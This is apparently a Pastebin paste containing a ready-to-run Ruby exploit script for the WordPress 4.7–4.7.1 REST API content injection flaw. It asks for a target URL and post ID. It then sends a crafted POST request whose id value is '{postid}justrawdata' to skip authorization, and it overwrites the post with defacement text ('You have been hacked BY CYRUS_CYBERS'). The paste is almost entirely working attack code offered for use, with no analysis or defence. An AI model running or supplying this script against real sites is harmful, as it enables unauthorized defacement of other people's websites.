Advertisement
Guest User

WP CONTENT INJECTION

a guest
Feb 16th, 2017
642
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.02 KB | None | 0 0
  1. # Exploit Title: WP Content Injection
  2. # Date: 31 Jan' 2017
  3. # Exploit Author: CYRUS_CYBER
  4. # Vendor Homepage: http://wordpress.org
  5. # Version: Wordpress 4.7 - 4.7.1 (Patched in 4.7.2)
  6. # Tested on: Backbox ubuntu Linux
  7. # Based on https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html
  8. # Credits : Marc, Sucuri, Brute
  9. # usage : gem install rest-client
  10. # Lang : Ruby
  11.  
  12.  
  13. require 'rest-client'
  14. require 'json'
  15. puts "MASUKAN TARGET KAMU (With wp directory)"
  16. targeturi = gets.chomp
  17. puts "MASUKAN Post ID NYA"
  18. postid = gets.chomp.to_i
  19. response = RestClient.post(
  20. "#{targeturi}/index.php/wp-json/wp/v2/posts/#{postid}",
  21. {
  22.  
  23. "id" => "#{postid}justrawdata",
  24. "title" => "CYRUS_CYBER WAS HERE !!!",
  25. "content" => "You have been hacked BY CYRUS_CYBERS !!!"
  26.  
  27.  
  28. }.to_json,
  29. :content_type => :json,
  30. :accept => :json
  31. ) {|response, request, result| response }
  32. if(response.code == 200)
  33.  
  34. puts "Done! '#{targeturi}/index.php?p=#{postid}'"
  35.  
  36.  
  37. else
  38. puts "This site is not Vulnerable"
  39. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement